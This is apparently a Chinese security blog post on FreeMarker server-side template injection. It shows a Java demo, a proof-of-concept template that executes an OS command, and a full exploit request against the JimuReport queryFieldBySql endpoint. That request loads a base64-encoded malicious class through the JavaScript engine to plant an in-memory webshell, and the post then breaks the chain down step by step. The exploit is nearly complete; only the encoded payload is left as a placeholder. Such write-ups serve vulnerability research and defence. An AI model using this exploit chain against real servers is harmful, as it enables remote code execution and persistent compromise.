<p style="margin-bottom:2.5000pt;margin-left:0.0000pt;mso-para-margin-top:1.0000gd;border-top:1.0000pt solid #000000;mso-border-top-alt:0.5000pt solid #000000;border-right:1.0000pt solid #000000;mso-border-right-alt:0.5000pt solid #000000;border-bottom:1.0000pt solid #000000;mso-border-bottom-alt:0.5000pt solid #000000;border-left:1.0000pt solid #000000;mso-border-left-alt:0.5000pt solid #000000;padding:1pt 4pt 1pt 4pt;text-align:left;line-height:150%;background:#f2f2f2;background-clip: initial;-webkit-background-clip: initial;"><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf="">import freemarker.template.Configuration;</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf="">import freemarker.template.Template;</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf="">import java.io.File;</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf="">import java.io.FileWriter;</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf="">import java.io.Writer;</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf="">import java.util.HashMap;</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf="">import java.util.Map;</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf="">public class FreemarkerDemo1 {</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf="">    public static void main(String[] args) throws Exception {</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf="">        //1.创建配置类</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf="">        Configuration configuration = new Configuration(Configuration.getVersion());</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf="">        //2.设置模板所在的目录</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf="">        configuration.setDirectoryForTemplateLoading(new File("/Users/xxx/Documents/java_code/freemaker_test/src/main/resources"));</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf="">        //3.设置字符集</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf="">        configuration.setDefaultEncoding("utf-8");</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf="">        //4.加载模板</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf="">        Template template = configuration.getTemplate("hello.ftl");</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf="">        //5.创建数据模型</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf="">        Map map=new HashMap();</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf="">        map.put("name", "张三");</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf="">        map.put("message", "欢迎来到我的博客！");</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf="">        //6.创建Writer对象</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf="">        Writer out =new FileWriter(new File("/Users/xxx/Documents/java_code/freemaker_test/src/main/resources/hello.html"));</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf="">        //7.输出</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf="">        template.process(map, out);</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf="">        //8.关闭Writer对象</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf="">        out.close();</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf="">    }</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf="">}</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span></p>
<p style="margin-bottom:2.5000pt;margin-left:18.0000pt;mso-para-margin-top:1.0000gd;text-indent:-18.0000pt;text-align:left;line-height:150%;mso-list:l1 level1 lfo3;"><span style='font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";color:#000000;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">3.</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">在hello.ftl中写入POC</span></span><span leaf=""><br></span></p>
<p style="margin-bottom:2.5000pt;margin-left:0.0000pt;mso-para-margin-top:1.0000gd;border-top:1.0000pt solid #000000;mso-border-top-alt:0.5000pt solid #000000;border-right:1.0000pt solid #000000;mso-border-right-alt:0.5000pt solid #000000;border-bottom:1.0000pt solid #000000;mso-border-bottom-alt:0.5000pt solid #000000;border-left:1.0000pt solid #000000;mso-border-left-alt:0.5000pt solid #000000;padding:1pt 4pt 1pt 4pt;text-align:left;line-height:150%;background:#f2f2f2;background-clip: initial;-webkit-background-clip: initial;"><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf="">${name},${message}</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf="">${"freemarker.template.utility.Execute"?new()("open -a Calculator")}</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span></p>
<p><span leaf=""><br></span></p>
<section nodeleaf=""><img src="/uploads/2025/04/5727ec6e0a9b5d3f9f604758954303a1.png" style="width: 100%;vertical-align: bottom;" alt="image.png"></section><p style="margin-bottom:2.5000pt;margin-left:0.0000pt;mso-para-margin-top:1.0000gd;text-align:left;line-height:150%;"><span leaf=""><br></span></p>
<p style="margin-bottom:2.5000pt;margin-left:0.0000pt;mso-para-margin-top:1.0000gd;text-align:left;line-height:150%;"><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">在实际的漏洞场景中一般有2种情况：</span></span><span leaf=""><br></span></p>
<p style="margin-bottom:2.5000pt;margin-left:18.0000pt;mso-para-margin-top:1.0000gd;text-indent:-18.0000pt;text-align:left;line-height:150%;mso-list:l0 level1 lfo4;"><span style='font-family:Symbol;mso-fareast-font-family:宋体;mso-bidi-font-family:"Times New Roman";color:#000000;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">· </span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">直接可以编辑ftl模板文件。</span></span><span leaf=""><br></span></p>
<p style="margin-bottom:2.5000pt;margin-left:18.0000pt;mso-para-margin-top:1.0000gd;text-indent:-18.0000pt;text-align:left;line-height:150%;mso-list:l0 level1 lfo4;"><span style='font-family:Symbol;mso-fareast-font-family:宋体;mso-bidi-font-family:"Times New Roman";color:#000000;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">· </span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">ftl模板中接收可控参数作为输入。</span></span></p></section></section></section></section></section><section style="margin-bottom:unset;"><section style="margin-bottom:unset;"><section data-support="96编辑器" style="text-align:center;margin-bottom:unset;" data-mp-plugin="96weixin"><section style="margin-top: 40px;margin-right: auto;margin-left: auto;"><section style="display:inline-block;margin-bottom:unset;"><section style="width: 31px;margin-right: -16px;margin-left: auto;margin-bottom: unset;"><section nodeleaf=""><img src="/uploads/2025/04/0f4e7d84358568e6e01dd65dba5ba993.png" style="vertical-align:bottom;"></section></section><section style="display:flex;justify-content:center;align-items:flex-start;margin-bottom:unset;margin-top:-14px;transform:rotateZ(0deg);-webkit-transform:rotateZ(0deg);-moz-transform:rotateZ(0deg);-ms-transform:rotateZ(0deg);-o-transform:rotateZ(0deg);"><section style="margin-right:3px;margin-bottom:unset;"><section style="margin-left:auto;width:13px;height:22px;background-color:#56a2f8;margin-bottom:unset;overflow:hidden;line-height:0;"><span leaf=""><br></span></section><section style="width: 26px;margin-top: 6px;transform: rotateZ(0deg);"><section nodeleaf=""><img src="/uploads/2025/04/e0fca24df69eea4eecb30f39c6d61300.png" style="vertical-align:bottom;"></section></section></section><section style="background-color: rgb(0, 99, 218);padding: 8px 22px;margin-bottom: unset;"><p style="color:#fff;font-size:16px;letter-spacing:2px;"><strong data-aibrush="text"><span leaf="">深入利用-通过js引擎注入内存马</span></strong></p></section></section></section></section></section></section><section data-support="96编辑器" style="margin-bottom:unset;" data-mp-plugin="96weixin"><section style="background-color: rgb(254, 254, 254);padding: 5px 12px 15px;margin-top: 20px;margin-right: 10px;margin-left: 10px;margin-bottom: unset;"><section style="margin-bottom:unset;"><section style="margin-bottom:unset;" data-mp-plugin="96weixin"><section style="margin-top:15px;margin-bottom:unset;"><p style="color:#282828;font-size:14px;letter-spacing:2px;line-height:1.75;" data-aibrush="text"><strong><span leaf="">EXP</span></strong></p>
<p style="margin-bottom:2.5000pt;margin-left:0.0000pt;mso-para-margin-top:1.0000gd;text-align:left;line-height:150%;"><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">以积木报表queryFieldBySql接口freemarker ssti漏洞为例，从公开的poc中可以看出其使用ObjectConstructor反射调用ScriptEngineManager以执行java代码来自定义加载类实现注入内存马。</span></span><span leaf=""><br></span></p>
<p style="margin-bottom:2.5000pt;margin-left:0.0000pt;mso-para-margin-top:1.0000gd;border-top:1.0000pt solid #000000;mso-border-top-alt:0.5000pt solid #000000;border-right:1.0000pt solid #000000;mso-border-right-alt:0.5000pt solid #000000;border-bottom:1.0000pt solid #000000;mso-border-bottom-alt:0.5000pt solid #000000;border-left:1.0000pt solid #000000;mso-border-left-alt:0.5000pt solid #000000;padding:1pt 4pt 1pt 4pt;text-align:left;line-height:150%;background:#f2f2f2;background-clip: initial;-webkit-background-clip: initial;"><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf="">{"sql":"call${\"freemarker.template.utility.ObjectConstructor\"?new()(\"javax.script.ScriptEngineManager\").getEngineByName(\"js\").eval(\"classLoader=java.lang.Thread.currentThread().getContextClassLoader();try{classLoader.loadClass('org.apachen.SOAPUtils').newInstance();}catch(e){clsString=classLoader.loadClass('java.lang.String');bytecodeBase64='这里填入base64的内存马';try{clsBase64=classLoader.loadClass('java.util.Base64');clsDecoder=classLoader.loadClass('java.util.Base64$Decoder');decoder=clsBase64.getMethod('getDecoder').invoke(base64Clz);bytecode=clsDecoder.getMethod('decode',clsString).invoke(decoder,bytecodeBase64);}catch(ee){try{datatypeConverterClz=classLoader.loadClass('javax.xml.bind.DatatypeConverter');bytecode=datatypeConverterClz.getMethod('parseBase64Binary',clsString).invoke(datatypeConverterClz,bytecodeBase64);}catch(eee){clazz1=classLoader.loadClass('sun.misc.BASE64Decoder');bytecode=clazz1.newInstance().decodeBuffer(bytecodeBase64);}}clsClassLoader=classLoader.loadClass('java.lang.ClassLoader');clsByteArray=(''.getBytes().getClass());clsInt=java.lang.Integer.TYPE;defineClass=clsClassLoader.getDeclaredMethod('defineClass',[clsByteArray,clsInt,clsInt]);defineClass.setAccessible(true);clazz=defineClass.invoke(classLoader,bytecode,0,bytecode.length);clazz.newInstance();};#{1};\")}","dbSource":"","type":"0"}</span></span></p></section></section></section><section style="margin-bottom:unset;overflow:hidden;line-height:0;"><span leaf=""><br></span></section></section></section></section><section style="margin-bottom:unset;"><section style="margin-bottom:unset;"><section data-support="96编辑器" style="text-align:center;margin-bottom:unset;" data-mp-plugin="96weixin"><section style="margin-top: 40px;margin-right: auto;margin-left: auto;"><section style="display:inline-block;margin-bottom:unset;"><section style="width: 31px;margin-right: -16px;margin-left: auto;margin-bottom: unset;"><section nodeleaf=""><img src="/uploads/2025/04/0f4e7d84358568e6e01dd65dba5ba993.png" style="vertical-align:bottom;"></section></section><section style="display:flex;justify-content:center;align-items:flex-start;margin-bottom:unset;margin-top:-14px;transform:rotateZ(0deg);-webkit-transform:rotateZ(0deg);-moz-transform:rotateZ(0deg);-ms-transform:rotateZ(0deg);-o-transform:rotateZ(0deg);"><section style="margin-right:3px;margin-bottom:unset;"><section style="margin-left:auto;width:13px;height:22px;background-color:#56a2f8;margin-bottom:unset;overflow:hidden;line-height:0;"><span leaf=""><br></span></section><section style="width: 26px;margin-top: 6px;transform: rotateZ(0deg);"><section nodeleaf=""><img src="/uploads/2025/04/e0fca24df69eea4eecb30f39c6d61300.png" style="vertical-align:bottom;"></section></section></section><section style="background-color: rgb(0, 99, 218);padding: 8px 22px;margin-bottom: unset;"><p style="color:#fff;font-size:16px;letter-spacing:2px;"><strong data-aibrush="text"><span leaf="">分段解构EXP</span></strong></p></section></section></section></section></section></section><section data-support="96编辑器" style="margin-bottom:unset;" data-mp-plugin="96weixin"><section style="background-color: rgb(254, 254, 254);padding: 5px 12px 15px;margin-top: 20px;margin-right: 10px;margin-left: 10px;margin-bottom: unset;"><section style="margin-bottom:unset;"><section style="margin-bottom:unset;" data-mp-plugin="96weixin"><section style="margin-top:15px;margin-bottom:unset;"><p style="margin-bottom:2.5000pt;margin-left:18.0000pt;mso-para-margin-top:1.0000gd;text-indent:-18.0000pt;text-align:left;line-height:150%;mso-list:l1 level1 lfo1;"><span style='font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";color:#000000;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">1.</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">创建</span></span><strong><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;mso-ansi-font-weight:bold;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">ObjectConstructor</span></span></strong><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">实例，加载</span></span><strong><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;mso-ansi-font-weight:bold;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">ScriptEngineManager</span></span></strong><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">类，获取js引擎通过</span></span><strong><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;mso-ansi-font-weight:bold;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">eval</span></span></strong><strong><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;mso-ansi-font-weight:bold;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">方法执行Java代码。</span></span></strong><span leaf=""><br></span></p>
<p style="margin-bottom:2.5000pt;margin-left:0.0000pt;mso-para-margin-top:1.0000gd;border-top:1.0000pt solid #000000;mso-border-top-alt:0.5000pt solid #000000;border-right:1.0000pt solid #000000;mso-border-right-alt:0.5000pt solid #000000;border-bottom:1.0000pt solid #000000;mso-border-bottom-alt:0.5000pt solid #000000;border-left:1.0000pt solid #000000;mso-border-left-alt:0.5000pt solid #000000;padding:1pt 4pt 1pt 4pt;text-align:left;line-height:150%;background:#f2f2f2;background-clip: initial;-webkit-background-clip: initial;"><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf="">"freemarker.template.utility.ObjectConstructor"?new()("javax.script.ScriptEngineManager").getEngineByName("js").eval("...")</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span></p>
<p style="margin-bottom:2.5000pt;margin-left:18.0000pt;mso-para-margin-top:1.0000gd;text-indent:-18.0000pt;text-align:left;line-height:150%;mso-list:l2 level1 lfo2;"><span style='font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";color:#000000;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">2.</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">获取类加载器，尝试加载恶意类并实例化。</span></span><span leaf=""><br></span></p>
<p style="margin-bottom:2.5000pt;margin-left:0.0000pt;mso-para-margin-top:1.0000gd;border-top:1.0000pt solid #000000;mso-border-top-alt:0.5000pt solid #000000;border-right:1.0000pt solid #000000;mso-border-right-alt:0.5000pt solid #000000;border-bottom:1.0000pt solid #000000;mso-border-bottom-alt:0.5000pt solid #000000;border-left:1.0000pt solid #000000;mso-border-left-alt:0.5000pt solid #000000;padding:1pt 4pt 1pt 4pt;text-align:left;line-height:150%;background:#f2f2f2;background-clip: initial;-webkit-background-clip: initial;"><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf="">classLoader=java.lang.Thread.currentThread().getContextClassLoader();try{classLoader.loadClass('org.apachen.SOAPUtils').newInstance();}</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span></p>
<p style="margin-bottom:2.5000pt;margin-left:18.0000pt;mso-para-margin-top:1.0000gd;text-indent:-18.0000pt;text-align:left;line-height:150%;mso-list:l0 level1 lfo3;"><span style='font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";color:#000000;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">3.</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">当直接实例化恶意类失败时，重新加载base64之后的恶意类（根据中间件、依赖等通过JmG生成对应的内存马）。</span></span><span leaf=""><br></span></p>
